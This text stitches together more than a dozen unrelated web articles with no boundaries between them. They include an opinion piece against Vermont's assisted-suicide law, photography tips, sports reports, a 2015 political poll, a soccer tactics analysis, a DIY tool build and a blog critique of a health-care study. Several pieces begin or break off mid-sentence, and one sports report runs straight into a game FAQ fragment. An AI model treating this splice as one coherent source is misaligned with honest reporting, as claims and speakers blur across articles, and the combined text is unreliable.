The organization said it would continue to co-operate with the authorities to its fullest capacity.Here’s a significant and little-known news item from yesterday that unsurprisingly flew under the radar: Vermont became the third U.S. state -- and the first via the legislative process -- to legalize physician-assisted suicide. Life News has the details:
With Governor Peter Shumlin’s signature on a bill the state legislature approved, Vermont [yesterday] becomes the third state after Oregon and Washington to legalize assisted suicide. Shumlin signed a bill [yesterday] legalizing physician-assisted suicide for patients deemed to have a “terminal condition.” The move immediately drew opposition from leading pro-life groups.
As it should. Catherine Glenn Foster, litigation counsel with Alliance Defending Freedom and a Townhall columnist, explained some of the problems with the bill mere hours before the initiative passed the state legislature:
Defenders of the bill contend that there is no risk of its misuse because it applies only to a person with a “terminal illness.” Yet we have seen the definition of “terminal illness” expanded “broad enough to include an 18-year-old who is insulin dependent or dependent on kidney dialysis, or a young adult with stable HIV/AIDS. Each of these patients could live for decades with appropriate medical treatment.” And defenders say that because the bill is only for a person who has the capacity to choose life or death, its provisions will be difficult to abuse. In saying this, they miss the fact that the person killing himself or herself takes “prescribed medication,” which necessitates the involvement of a second party—a doctor. That opens the door for people, particularly those who depend on others in some way and are most in need of care and protection, to be influenced toward death, whether by an unscrupulous physician or a well-intentioned but coercive family member.
In other words, it’s not uncommon for “terminal” patients to feel persuaded -- or perhaps even coerced -- into taking life-ending drugs. Why? Because they’ve determined that their own lives have become, well, a source of financial distress and/or inconvenience to those whom are closest to them. How sad. It’s no surprise, then, that the American Medical Association is staunchly opposed to such practices, which obviously undermine the sanctity and dignity of human life. Back to the Life News article:
The American Medical Association has also remained firm in its opposition to physician-assisted suicide. Regarding the issue, the AMA states, “Physician-assisted suicide is fundamentally incompatible with the physician’s role as healer, would be difficult or impossible to control, and would pose serious societal risks.”
And yet now this newly passed “health care” law is perhaps on Vermont’s statute books forever. Splendid. Of course, partisans on both sides of the aisle can debate the merits of physician-assisted suicide, and whether or not it is morally defensible (which I don’t believe it is), but there is absolutely no denying the fact that this loosely-worded law is in many respects deeply flawed. And, as a result, I suspect it will have devastating consequences -- not only for patients themselves who ingest these lethal and toxic substances, but for their families and loved ones as well.I’ve always dabbled in photography, but decided to take it a little more seriously about 18 months ago. I travel a fair bit and wanted to take better photos so I remember the good times spent with family, friends, and my own thoughts.
Once I came to this realization, I naturally started researching and learning everything I could about photography. There’s no shortage of content out there and I quickly became overwhelmed with all the information. I wasn’t sure where to start.
The most important factor to taking a good photo
As I disseminated the information out there, I realized that the most important thing to taking good photos isn’t your ISO setting, lens type, or time of day. It’s composition. [highlight]Almost any well-composed photo can look good, given the right amount of post-processing. Every other tool in a photographer’s disposal can help a well-composed shot appear even better, but they can’t save a poorly composed one.[/highlight]
The hardest part is understanding how to compose a good photo. I have developed a few tips to help me figure this out.
A quick note before continuing: I’m the type of guy who takes a lot of photos during a trip (200-250 a day). After I’m back, I cull them, find the best 5-10%, and post-process them in Adobe Lightroom. These tips will probably make the most sense if you follow a similar pattern.
You don’t need any special equipment, although I do recommend getting a good DSLR camera with a decent all-round lens that can shoot in RAW mode. However, these tips should be applicable to most new smartphones as well. The photos won’t turn out as well, but they’ll still be pretty good.
Ok, let’s get started.
Leading Lines
This is the easiest way to compose a photo in an interesting manner. Try to guide the viewer’s eye towards an interesting subject, or towards the horizon.
Another way to accomplish this is to let the person inside the photo look at something interesting, instead of at the camera.
Sense of Scale
This technique works best with landscape photos. Instead of just snapping a photo of the landscape, give a sense of scale by including a person, a building, or another object in the photo. It usually ends up making the scenery look better.
Layers
Combining foreground, middle-ground, and background well usually results in a much more interesting shot. Don’t be afraid of blurry foregrounds either.
Symmetry
The human eye loves symmetry. Try to include it in your shots. This usually applies when taking pictures of buildings or reflections.
Show Life
Photos with people generally look more interesting than photos without. Don’t be afraid of taking photos of people going about their business. If you’re shy, just ask and they’ll most likely be cool with it.
Rule of Thirds
Sometimes, none of the techniques above make sense for the shot you are trying to take. In these situations, use the rule-of-thirds. Take the primary object in your photo and put it on one of the intersections of the grid within your camera instead of at the center of the shot.
Post-Processing
In the next post, I’ll be talking about how I post-process photos to improve their appearance. Post-processing is extremely important to my workflow and can really bring out the details in a shot. As an example, check out this picture before and after being post-processed.
Follow me on Twitter to find out when I publish that post, and check out my photo albums on Flickr.The honors keep coming for Minnesota Vikings defensive end Jared Allen, who today was named an NFL 101 Awards winner as NFC Defensive Player of the Year.
Other winners voted by a national committee of 101 NFL sportswriters and broadcasters include Baltimore Ravens linebacker Terrell Suggs (AFC Offensive Player of the Year), Green Bay Packers quarterback Aaron Rodgers (NFC Offensive Player of the Year), New England Patriots quarterback Tom Brady (AFC Offensive Player of the Year), San Francisco 49ers coach Jim Harbaugh (NFC Coach of the Year) and Houston Texans coach Gary Kubiak (AFC Coach of the Year).
Allen finished with a career-high and franchise-record 22 sacks for the 3-13 Vikings, a half-sack shy of Michael Strahan’s decade-old NFL record of 22.5. Allen is heading to his fourth Pro Bowl in eight seasons and was a unanimous selection for the NFL’s All-Pro team.
The 42nd annual NFL 101 Awards gala will take place March 3 in Kansas City.Google has reportedly paid the makers of Adblock Plus, the single most popular browser extension on Chrome and Firefox, to look the other way when it comes to its web advertisements. According to the German news site Horizont, Google and other unnamed companies are paying to be included on a "whitelist" that prevents some of their ads from being blocked by the free service.
Horizont said in a report that it's unclear how much Google has paid Eyeo, the company behind Adblock Plus, to whitelist its ads, and that it doesn't know which other companies are doing the same. Both Eyeo and Google didn't respond to email requests for comment on Friday afternoon — but if we hear back, we'll update this post. In an FAQ page on the Adblock Plus website, Eyeo notes that it offers whitelisting under its Acceptable Ads initiative for free to smaller websites. The Acceptable Ads whitelist, which has been in place since at least 2011, argues that unobtrusive ads should remain viewable as long as they aren't annoying.
Eyeo also argues that it has a reason for charging others for the special treatment. "Managing this list requires significant effort on our side and this task cannot be completely taken over by volunteers," the FAQ says. "That's why we are being paid by some larger properties that serve nonintrusive advertisements."Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
June 22, 2015, 10:29 PM GMT / Updated June 22, 2015, 7:13 PM GMT By Mark Murray
Hillary Clinton is leading her nearest Democratic competitor by a whopping 60 points, and she holds the early general-election advantage against the top Republican White House contenders, according to a new NBC News/Wall Street Journal poll.
Seventy-five percent of national Democratic primary voters favor Clinton in the race for the Democratic presidential nomination – compared with 15 percent who pick Sen. Bernie Sanders, I-Vt., four percent who choose former Sen. Jim Webb, D-Va., and two percent who select former Maryland Gov. Martin O’Malley.
See Full Poll Results Here
What’s more, 92 percent of Democratic voters say they could see themselves supporting Clinton for the Democratic nomination, which is up six points since March.
Just eight percent can’t see themselves backing her in the current poll, which was conducted right after Clinton formally kicked off her presidential campaign with a rally in New York City. (By contrast, former Florida Gov. Jeb Bush’s score among Republicans is 75-22 percent and Sen. Marco Rubio’s, R-Fla., is 74-15 percent.)
“Hillary Clinton continues to lap the field on the Democratic side,” says Democratic pollster Peter Hart, who conducted this survey with GOP pollster Bill McInturff.
McInturff adds that Clinton is in the “strongest and most advantageous” position for a non-incumbent running for his or her party’s presidential nomination in his lifetime working in politics.
Looking ahead to the general election, Clinton also leads Bush by eight points (48 percent to 40 percent), Rubio by 10 points (50 percent to 40 percent) and Wisconsin Gov. Scott Walker by 14 (51 percent to 37 percent).
But the NBC/WSJ poll offers two cautionary notes about Clinton’s leads. One, 62 percent of Democratic primary voters want her to have a challenging primary to test her for the general election, signaling they don’t want a coronation to the nomination.
And two, the poll shows a generic Democrat defeating a generic Republican in the 2016 presidential race by just three points, 39 percent to 36 percent, suggesting that the general election will be competitive.
“Like the [Max] Scherzer no-hitter or the U.S. Open, the outcome won’t be known until the final pitch or the final putt,” Hart says.
Obama’s job-approval rating: 48 percent.
Also in the poll, President Obama’s job-approval rating stands at 48 percent among all adults, which is unchanged from April.
But that comes amid renewed pessimism about the state of the U.S. economy. Just 37 percent of Americans say they’re satisfied with the economy – down eight points since January.
Forty-six percent say they’re more optimistic about the economy – down two points from March.
In addition, the poll finds 45 percent of American adults believing that the economy has improved and giving Obama some credit for it; another 17 percent agreeing that the economy has improved but not giving the president much credit; and 37 percent saying the economy really hasn’t improved.
Measuring how to combat ISIS: With U.S. troops or without.
And turning to foreign affairs, the poll shows 28 percent of Americans favor sending U.S. troops into Iraq “for as long as it takes” to combat ISIS.
Thirty-two percent support sending U.S. troops for only a short period of time to allow the Iraqi army to take over. And 38 percent don’t want to send any U.S. troops into Iraq.
The NBC/WSJ poll was conducted June 14-18 of 1,000 adults (including nearly 400 by cell phone), and it has an overall margin of error of plus-minus 3.1 percentage points.
The margin for error of the 830 registered voters is plus-minus 3.4 percentage points, and the margin for error of the 247 Democratic primary voters is plus-minus 6.2 percentage points.Mr. Simons’s business partner and Renaissance’s departing co-chief executive, Robert Mercer, rose to the highest ranks of Republican donors and became an influential backer of Donald J. Trump’s presidential campaign, contributing more than $3 million. A major funder of Breitbart News, Mr. Mercer influenced critical decisions of Mr. Trump’s candidacy, such as the hiring of Stephen K. Bannon, then Breitbart’s executive chairman, as the campaign’s chief executive. Mr. Mercer has also been an Appleby client.
In 2014, a Senate committee accused Renaissance and another hedge fund of using a complex accounting maneuver to improperly avoid taxes. Renaissance is still fighting the resulting tax bill, estimated at $6.8 billion.
As the tax dispute has proceeded, Mr. Simons is now estimated to be the 25th-richest person in the United States, with a net worth estimated at $18.5 billion, according to the Forbes list of richest Americans. But such rankings, important yardsticks in the study of global development and inequality, often rely on incomplete public data.
Mr. Simons’s Lord Jim Trust offers one example. Though the trust has been listed in various filings, a 2010 document in Appleby’s files provides details for the first time. If it had been fully accounted for in calculating his net worth, he would have vaulted even higher in the ranks of the superrich.
Yet factoring the trust into his wealth isn’t so straightforward, because Mr. Simons says his share is now in an offshore charity, Simons Foundation International. In 2010, he and his wife, Marilyn, signed the “giving pledge” established by Bill Gates and Warren Buffett, vowing to give “the great majority” of their wealth to philanthropic purposes.
A person familiar with Simons Foundation International, who was not authorized to speak on the record about it, said it had $8 billion in assets. That is more than double the approximately $3 billion in Mr. Simons’s New York-based Simons Foundation, whose mission of funding scientific research and education is shared by the Bermuda foundation.Marvin Lewis capped off a week of rumors regarding his future with a comeback victory over his former team, but offered no definitive word on whether he will be coaching next season.
The Cincinnati Bengals coach of 15 seasons told reporters following his team's dramatic win over the Baltimore Ravens that, on the status of his job, "there are decisions to be made" but "first it'll be the ownership" to make the move. Lewis' contract expired after the close of the 2017 season.
Lewis added that he wants to coach the Bengals in 2018. Whether Bengals owner Mike Brown will simply ask the veteran coach to come back, Lewis said, "It's more complicated than that."
NFL Network Insider Ian Rapoport reported on Saturday that the expectation in Cincinnati is that after Lewis and owner Mike Brown, who have a strong relationship, sit down this week, they will mutually decide that Lewis will no longer be the Bengals coach in 2018.
However, Rapoport did add that there is a reasonable chance Lewis stays around the organization in the Cincy front office or at least around football in the league office. Lewis also shouldn't be ruled out as a coaching candidate elsewhere, given the expected number of vacancies and the inexperience of the coaching pool.
A decision on Lewis' future in Cincy isn't expected immediately. Lewis told his coaching staff Monday it might be a few days before his future in is decided, a source informed of the communication between Lewis and his staff told NFL Network's Mike Garafolo.
The Bengals battled for the embattled coach down the stretch, winning their final two games over playoff hopefuls after scoring just 14 points combined in their previous two losses. Will Cincy's strong close to the season be enough for Brown to offer Lewis yet another contract? We'll find out in the coming days.Police arrested Clifford Knight, 45, and Latoya Knight, 38, both of Windsor. Clifford Knight is charged with third-degree assault and disorder conduct. Latoya Knight is charged with disorderly conduct and threatening. Police said the suspects are husband and wife.
Police in Manchester, Connecticut arrested a husband and wife after an argument at Royal Buffet got out of hand on Saturday night.
Manchester police say they were called to 410 West Middle Turnpike for a dispute that started as an argument over crab legs at the buffet table and escalated into a physical confrontation. During the scuffle, a 21-year-old man was punched in the face and lost a tooth.
That man's mother jumped in and used pepper spray on her son's attackers. Her actions were in self-defense and she is not facing any charges, according to police.
Police arrested Clifford Knight, 45, and Latoya Knight, 38, both of Windsor. Clifford Knight is charged with third-degree assault and disorder conduct. Latoya Knight is charged with disorderly conduct and threatening. Police said the suspects are husband and wife.
Clifford Knight was released on a $5,000 non-surety bond and Lataya Knight was released on a $2,500 non-surety bond. They are both expected in court on April 14.
The Manchester Fire Department responded to vent out the restaurant after the pepper spray was deployed.
The restaurant had to close while the health department assessed the air quality, but the restaurant said they opened for business at the usual time Sunday.
Editor’s note: Police previously thought the injured victim was a juvenile but have since determined the victim was a young adult. This story has been updated to reflect this.SOCHI -- For the second straight day, San Jose Sharks center Joe Pavelski skated between two Toronto Maple Leafs teammates, James van Riemsdyk and Phil Kessel, during United States practice at the 2014 Sochi Olympics.
Coach Dan Bylsma switched players on the other three lines, but that trio remained the same. Should they play together Thursday in the team's opening game against Slovakia, van Riemsdyk, Pavelski and Kessel could be the line with the most NHL goals this season of any in the tournament.
"Well, we better score then," Pavelski said when informed of his trio's scoring prowess. "We've better find ways to score. There's a lot of hard work that has been put in during the year and they're both great players."
Kessel is second in the League this season with 31 goals. Pavelski is tied for fourth with 29, and van Riemsdyk checks in tied for 13th with 24. That's 84 goals, and it is more than any other trio that has practiced together in Sochi leading up to the start of the tournament Wednesday.
Russia's top trio of Alex Ovechkin, Evgeni Malkin and Alexander Semin has combined for 72 goals. Sidney Crosby's line (Chris Kunitz and Jeff Carter) has 78. The top trio for Canada is actually Ryan Getzlaf, Corey Perry and Patrick Marleau, who have combined for 82 |
have their own leaderboards (with highscore replays) so you can challenge your friends enemies and see if they're up to the task. Q. When is it coming out on Steam? A. SOON Q. How much will it cost? A. We're still figuring that out. Q. Will you support Mac and Linux? A. Yes, but probably not at Steam launch, hopefully soon after. Q. Where can I find more info? A. www.nplusplus.orgPortugal’s offensive powers limited by individuality in Austria draw
0:0
Portugal made another dominant performance as they were clearly superior to their Austrian opposition. Despite having a clear shot dominance and multiple good chances, Robert Almer was in the way to prevent the Iberian side from capitalising on a strong offensive display.
A flexible 4-3-3 formation was opted for in the Portuguese dugout, with the interesting selection of Nani as the central attacker. Both full-backs were strong in advanced positions whilst Andre Gomes supported the attacks well through runs from his left 8 position in the midfield.
In opposition, Austria played in more of a broad 4-2-3-1 shape. Key player David Alaba featured in a role higher to what he is perhaps accustomed to, whilst Stefan Ilsanker and Julian Baumgartlinger formed a strong partnership in the deeper midfield.
Portugal’s Flexible Attack
In possession of the ball, Portugal adopted quite a flexible shape which took on numerous permutations throughout the duration of the game. The front six players took on a multitude of different positions throughout the game as Ronaldo in particular had a free role off of the ball.
The intentions seemed to give the attack an element of surprise and variability amongst the front three players. Through the frequent switching and rotations, all three forwards were given the opportunity to attack from different positions between each possession. By varying their approach, it’s likely that Portugal aimed to disorient the Austrian marking scheme in order to generate free players in dangerous positions; something which was somewhat effective at times.
They allowed Ronaldo in particular a free role off of the ball, though the forward’s nature and skill-set made this rarely effective. His individualistic and predatory nature is ill-suited to a role of supporting the team structurally and in ball circulation. His tendency to make purposeless tricks where simple passing would’ve been more appropriate broke down a few attacks in the first 20 minutes alone.
As the first half progressed, so did Portugal’s dominance as the side enjoyed large periods of possession. They clearly had the territorial advantage over their opponents and were able to generate a number of dangerous shot opportunities in the Austrian penalty area. Both Joao Moutinho and Andre Gomes began taking up more aggressive positions in the midfield whilst the full-backs supported high up their respective touchlines. Gomes in particular received the ball between Austrian lines and was able to threaten whilst the defence was more concerned by the movements of the front three.
Despite this, there was somewhat of an isolated nature surrounding Portugal’s attack. When you consider the nature of the forwards, this comes at little surprise as all three are highly individualistic attackers and not known for their team-tactical play. Combinations between the front line were few and far between and whilst they threatened individually on different occasions, their individuality was a limiting factor – especially in the latter 45. Although all three players moved actively within the midfield, situations in which they could act together were a rarity and Portugal were thus limited to individual attempts to break down Austria’s defence.
Austria’s Defensive Shape
Happy to concede the majority of possession to their Iberian opposition, Austria spent large periods of the game sat in a defensive shape which alternated between a 4-4-2 and a 4-5-1. It was the responsibility of David Alaba to provide support to his midfield and would shift back to act as an additional 8 when it was required of him. In doing so, Alaba could strengthen the midfield by adding an extra body, giving them stronger width-coverage against the movement of Portugal’s forwards. He was often required to maintain numerical balance against a Portuguese shape which featured both Ronaldo and Quaresma coming inside regularly.
His deeper positioning also acted to support the defensive work of Baumgartlinger and Ilsanker who, particularly the former, were active in moving out to apply pressure on the Portuguese midfield. The rather dynamic shape resulted in an adaptable defensive block, allowing Austria to cover the shifting Portugal attack and maintain a fairly decent level of access.
Within the more standard 4-4-2 shape Austria defended fairly competently with the midfield making their horizontal shifts well in a zonal block. The opposition positioning was alternatively a common reference point for the positioning of both Baumgartlinger and Ilsanker, who both often had to move slightly wider than normal to establish access to their man. Despite this requirement (as the Portuguese 8s could be slightly wider than that of an orthodox 8), they maintained their stability fairly well, even if it came at the expense of some horizontal compactness across the midfield 4.
Portugal Stifle Austria’s Build-Up
One of the common themes during the first half was Austria’s inability to pass the ball out from areas deep within their own half. Whilst Almer looked competent when saving the shots of Portugal’s forwards, he failed to show a similar ability in distributing the ball from his penalty area. With Austria clearly struggling to build the possession effectively, Portugal were inclined to adopt an aggressive position into Austria’s third and did so to good effect. The forwards took somewhat of a loose man-to-man approach in order to restrict the passing options whilst maintaining a high position for any resulting turnovers.
Against Portugal’s high position, Austria were rarely able to establish sustained, developed periods of possession. They had clear difficulty in passing the ball through the lines of players and instead were contained to more direct and vertical build-ups. This was effective in progressing the ball in a few instances through the left half-space but they were unable to consistently break through the Portuguese press. Austria found difficulty in effectively integrating key attackers such as Alaba and Sabitzer who were regularly isolated whilst their teammates built possession deeper.
Although Portugal did their job well, they rarely had to exert themselves within Austria’s third. The majority of problems were conceived by Austria by themselves as their system made effective ball circulation a difficult task for what is an individually-talented side.
The front four were often far too stretched across the width of the pitch with Arnautovic and Sabitzer both taking wide positions in most scenes. Whilst Austria were able to make a couple of breakthroughs down the sides with both Alaba and Harnik shifting over to combine with the ball-near winger, the stretched nature made it difficult to engage the attack together. The ball-far winger was rarely able to truly impact the Austrian attacks whilst combinations past the initial breakthrough were uncommon.
The often-unnecessary width of the attack meant that Austria were often underloaded against Portugal’s defence when contesting long balls. With numerical inferiority against their opponents, they were unable to maintain possession of the ball after direct play and as a result could not make well-developed attacks.
Austria’s movement across the attack also lacked a clear level of dynamism. Particularly in the wide forwards, their roles were rather static as they didn’t often foray further from their respective wing-spaces. Alaba showed some intentions to find possession with small movements into any open gaps but was still far too isolated to have a telling impact on the game in what was an underwhelming performance.
Another self-inflicted issue was the pace of ball circulation in the deeper areas during build-up. The ball was often moved at a lethargic pace between the Austrian first and second lines which served to simply invite Portugal to take a higher position in their press. This resulted in many attempts at building-up ending in a return pass to Almer and then a consequential long ball. The absence of momentum in the ball circulation made it a bigger challenge to break through the lines of pressure with the large majority of the passes being sideways. Austria’s inability to effectively construct possession caused a great deal of turnovers in the first half alone.
Second Half Developments
In contrast to the first 45, the game became more even after the teams re-emerged following the half-time break.
Frustrated by their lack of a breakthrough, Portugal began taking on more attacking positions, with Andre Gomes in particular acting closer to a 10 than his original position deeper within the midfield triangle. The battle for possession was a continuation of the first half, with the Iberian team enjoying more of the ball and consequently better territory too. Despite their efforts though, they were unable to create the same quality chances they had in the first half despite the late penalty miss and disallowed goal.
Their individuality remained an issue, with isolated wing attacks becoming a common theme whilst the other forwards waited in expectation from within the penalty area. The lack of offensive teamwork was on of the biggest limiting factors on Portugal’s performance on the attack, with the chance of combining with teammates rarely possible. Whilst the build-up to the final third was strong, with players such as Joao Moutinho, Raphael Guerreiro and especially Andre Gomes impressing, their final third play was rather linear. Because of this, the possibilities in attack were immediately restricted often to ineffective crosses from deep positions.
Austria improved, too. Although they were still on the back foot for large periods, they were now able to joy more controlled bouts of possession in Portugal’s half. The long balls which had rarely been successful in the first half were now being completed more often whilst more importantly, they were able to better retain possession on the second ball. This served as a much-needed means of progressing the possession past Portugal’s press where previously Austria had no little way of consistently keeping the ball outside their own half.
Conclusion
Whilst Portugal put in an impressive performance with a clear dominance for the second game in a row, they were left disappointed with another draw. Promising signs were a plenty in the performances of players such as Andre Gomes and Raphael Guerreiro yet despite the 23-4 shot dominance, there seems to a restricting factor on their attack. The forwards made few attempts to form attacks as a collective and when a team fails to properly work together in the final third, only so much can be achieved.
Despite having such an individually-talented squad, Austria disappointed in a game which teased to be one of the more interesting clashes in recent days. Systemic issues were central to the poor team performance as players such as David Alaba were unable to truly impact the game, though the performances of such individuals must also be questioned.ORLANDO, Fla. – At the end of the 2016 Major League Soccer season, Orlando City SC midfielder Antonio Nocerino didn’t return to his native Italy. Instead, he stayed in his new home: Orlando.
“I stayed in Orlando because I have a son in the school,” Nocerino said after training Wednesday. “New season is very, very important for everyone. For new stadium, for people, for country, for fan, for you. I work hard with the team for very, very good season because it’s very important.”
The Lions midfielder enters his second season as a Lion and his first preseason with the club. Last year, he was introduced to fans during halftime of the team’s season-opening draw against Real Salt Lake.
But upon his arrival to the City Beautiful, Nocerino appeared timid and conserved, rarely cracking a smile. The 31-year-old now seems to be finding comfort in Central Florida with his the club and the city. Second-year Lion Richie Laryea has experienced firsthand the seemingly newfound extroverted nature of the veteran Italian.
“He’s always bothering people, especially me,” Laryea said half-jokingly after training Wednesday. “No, no, he’s a good guy, though. He’s always bringing character to the team and obviously for himself.”
Nocerino’s experience as a footballer with clubs like A.C. Milan, Juventus and Palermo has also proven to be a worthwhile connection between the younger players and himself.
“He helps me a lot. He helps a lot of guys on the team,” Laryea said. “So, just listening to him—obviously he has experience in places that he’s played over the years, so he’s a good guy to listen to, and he’s growing as a leader on this team.”
From his perspective, though, Nocerino won’t call himself a leader, nor is he too concerned about it. Though, he doesn’t mind if others refer to him as such.
“Well I don’t know. Maybe it’s just because of my age and my experience,” Nocerino said through his translator. “I’m not too concerned with calling myself a leader. I’ll just let facts speak for themselves. If others want to say it, that’s great, but my focus is on having a great season.”
His willingness to assist the younger players is perhaps the most explicit way Nocerino can show his successful adaptation to a new home on the pitch. Off the pitch, though, it is perhaps in his vocal chords.
On Feb. 3, the club released a video of Nocerino, team captain Ricardo Kaká and other teammates singing in the car. Eventually, the video went viral, as singer Enrique Iglesias would repost Kaká’s Instagram post. Nocerino sees these off-the-pitch moments as important opportunities for team bonding.
“This moment for me is very, very important because work together,” Nocerino said. “Yeah, in the pitch, it is normal. In the dinner, in the lounge, it’s very important… It’s important change the moment because you run every day, you work hard every day… It’s great moment because it’s good for team, for together. For me, this is moment to help the season… Group bonding, for me is important. It’s important for stay good after in the season.”
As Nocerino has already hinted at, though, his happiness, his comfort resides in knowing his family is happy in a place he hopes to finish his career in.
“My family is very happy. My son stay good. My wife is like,” Nocerino said. “Orlando is nice… I have the fortune to play in the good team, good club. It’s a club family. For me, it’s perfect. I speak with the club. I don’t know if I have opportunity for finish the career in Orlando. I hope.
“Me and my family is very, very happy stay in Orlando.”
Orlando City opens its 2017 MLS campaign on Sunday, March 5 at 5 p.m. against New York City FC in the Lions’ new soccer-specific stadium in downtown Orlando.Next, I had to keep the grinder assembly from falling out of the mixer.
The mixer comes with a 5/16" screw and the drill/grinder comes with a 3/8" bolt.
I looked around my basement for anything that could connect these two. Luckily I found some 3/4" aluminum bar that would work perfectly. But aluminum is not necessary. A few wraps of string, a bunch of rubber bands, etc would accomplish the same thing: Keep the grinder shaft from falling out of the mixer.
If you do want to duplicate my design, 3/4" x 1/8" aluminum bar can be found at Lowes, HD, ACE for less than $5. i would honestly recommend looking around for an alternate before buying the aluminum as this is a low-stress part.
If you like the design/look, here's the process I used
1. Look at drill/mixer top/down
2. Sketch curve on MIN 3/4" plywood (NOTE: Gentle curves/transitions are best! Sharp bends are weak/hard-to-form)
3. Cut plywood in half with jigsaw - following sketched line
4. Place aluminum bar between plywood halves - in vise
5. Crank vise until aluminum bar is bent
6. Drill 5/16" hole in mixer end of bent bar
7. Attach bent bar to mixer
8. Mark spot where 90deg drill intersects with aluminum bar
9. Drill 3/8" hole at intersect spot
10. Connect mixer to grinder assemblyJanuary 8, 2008, 8:42 pm
Kevin Drum thinks he has a killer analysis supporting government health care. In a post he titles sarcastically "Best Healthcare In the World, Baby," Drum shares this chart:
The implication is that the US has the worst healthcare system, because, according to this study, the US has the highest rates of "amenable mortality," defined as deaths that are "potentially preventable with timely and effective health care."
I get caught from time to time linking to studies that turn out to have crappy methodology. However, I do try to do a little due diligence each time to at least look at their approach, particularly when the authors are claiming to measure something so non-objective as mortality that was "potentially preventable."
So, when in doubt, let's look at what the author's have to say about their methodology. The press release is here, which gets us nowhere. From there, though, one can link to here and then download the article from Health Affairs via pdf (the site is gated but I found that if you go through the press release site you can get in for free).
The wording of the study and the chart as quoted by Mr. Drum seem to imply that someone has gone through a sampling of medical histories to look at deaths to decide if they were preventable deaths. Some studies like this have been conducted. This is not one of them. The authors do not look at any patient data.
Here is what they actually did: They arbitrarily defined a handful of conditions as "amenable" to care. These are:
Ischemic Heart Disease (IHD)
Other circulatory diseases
Neoplasms (some cancers)
Diabetes
Respiratory diseases
Surgical conditions and medical errors
Infectious Diseases.
Perinatal, congenital, and maternal conditions
Other (very small)
All the study does is show how many people died in each country from this set of diseases and conditions. Period. It doesn't determine if they got care or if they in particular could have been saved, but just that they died of one of the above list of conditions. This study was not an effort to identify people who died when their particular condition should have been preventable or amenable to care; all it measures is the number of people in each country who died from list of conditions. If Joe is talking to me and in the next second flops over instantly dead of a massive heart attack, the author's consider him to have died of a disease amenable to care.
We can learn something by looking at the breakdown of the data. If you can't read the table below, click on it for a larger version
Let's take the data for men. The study makes a big point of saying that France is much better than the US, so we will use those two countries. In 2003, France has an "amenable disease" death rate 56 points lower than the US. But we can see that almost this whole gap, or 42 points of it, comes from heart and circulatory diseases. The incidence of these diseases are highly related to diet and lifestyle. In fact, it is well established that the US has a comparatively high incidence rate of these diseases, much higher than France. This makes it entirely possible that this mortality difference is entirely due to lifestyle differences and disease incidence rates rather than the relative merits of health care systems. In fact, this study is close to meaningless. If they really wanted to make a point about the quality of health care systems, they would compare them on relative mortality with a denominator of the disease incidence rate, not a denominator of total population.
But in their discussion, the study's authors reveal themselves to be, if I am reading them right, complete idiots in terms of statistical methods. The authors acknowledge that lifestyle differences may be a problem in their data. This is how they say they solved this problem:
It is important to recognize that the development of any list of indicators of amenable mortality involves a degree of judgment, as a death from any cause is typically the final event in a complex chain of processes that include issues related to underlying social and economic factors, lifestyles, and preventive and curative health care. As a consequence, interpretation of findings requires an understanding of the natural history and scope for prevention and treatment of the condition in question. Thus, in the case of IHD, we find accumulating evidence that suggests that advances in health care have contributed to declining mortality from this condition in many countries, yet it is equally clear that large international differences in mortality predated the advent of effective health care, reflecting factors such as diet and rates of smoking and physical activity.16 To account for this variation, we included only half of the mortality from IHD, although, based on the available evidence, figures between, say, 25 percent and 70 percent would be equally justifiable.
I have a very smart reader group, so my sense is that many of you already see the gaffe here. The author's posit that 50% of heart disease may be due to lifestyle, though the number might be higher or lower. So to correct for this, they reduce every country's heart disease number (IHD) by a fixed amount of 50%. WTF?? This corrects for NOTHING. All this does is reduce the weighting of IHD in the total measure.
Look, if the problem is that lifestyle contribution to heart disease varies by country, then the percentage of IHD deaths that need to be removed because the deaths are lifestyle related will vary by country. If the US has the "worst" lifestyle, and the number for lifestyle deaths is about 50% there, it is going to be less than 50% in every country. The correction, if an accurate one could be created, needs to be applied to the variance between nations, not to the base numbers. Careful multiple regressions might or might not have sorted the two sets of causes apart, but dividing by 50% doesn't do anything. This mistake is not just wrong, it is LAUGHABLE, and calls into question the author's qualification to say anything on this topic. They may be fine doctors, but they don't know squat about data analysis.
There may be nuggets of concern for the US lurking in this data. I don't know how they measure deaths from surgical conditions and medical errors, but its not good to be higher on this. Though again, you have to be careful. The US has far more surgeries than most other countries per capita, so we have more surgical deaths. Also, medical error data is notoriously difficult to compare country to country because reporting standards and processes are so different. In the US, when the government measures medical errors, it is a neutral third party to the error. In Europe, the government, as healthcare provider, is often the source of the error, calling into question how aggressive these countries may be in defining "an error." Infant mortality data is a good example of such a trap. The US often looks worse than European nations on infant mortality because it is defined as infant deaths as a percentage of live births. But the US has the most advanced neo-natal capabilities in the world. Many pregnancies that would result in a "born dead" in other countries result in a live birth in the US. Since these rescued births are much more problematic, their death rate is much higher.
There is good news for the US in the study. The item on this list most amenable to intensive medical intervention is cancer (neoplasms in the study above). In that category, despite a higher incidence rate than many of these countries, the US has one of the lowest mortality rates as a percentage of the total population, which implies that our cancer mortality in the US as a percentage of cancer incidence is much better than these countries. This shows our much higher 5-year cancer survival rates.
Update: I thought this was pretty clear, but some of the commenters are confused. The halving of IHD numbers was applied to all countries, not just the US. So the actual male US IHD number is about 100 before halving and the actual French number is about 40. Again, this halving only reduces the weighting of IHD in the total index; it in no way corrects for differences in incidence rate.What happens at a Minnesota precinct caucus meeting I've presided over several of them now. For people who don't have the caucus system in their state, it might be interesting to know what happens. Minnesota precinct caucuses are important, because they determine the ratio of delegates pledged to candidates at the Minnesota state convention, where delegates to the Democratic National Convention are elected.
Our precinct caucuses are held in public places. In St. Paul, each ward has up to 14 precincts in it. In Ward 6, where I live, the caucuses are held in classrooms at a high school in the ward. The caucus meeting begins in the evening, usually at 7 PM. It's announced in the local papers and on the news, and the location and time are publicized by the local DFL district organization.
Since this is a presidential election year, with no incumbent in the race, I'll describe the 2008 caucus meeting, since it's most similar to this year. Here's the agenda:
1. Call to order - At 7PM, the caucus convener calls the caucus to order.
2. Election of Caucus Chair - This is done right away. Typically the convener gets that job, due to experience in running a caucus meeting.
3. Election of vote counting officers. This takes virtually no time, and the people who volunteer are generally elected by acclamation.
4. Reading of DFL documents. This includes a statement of support for DFL candidates and principles, along with our statement of support for equal treatment of all groups. There are no signed pledges of DFL membership or any such thing, but attendees are asked whether they agree with DFL principles as a group.
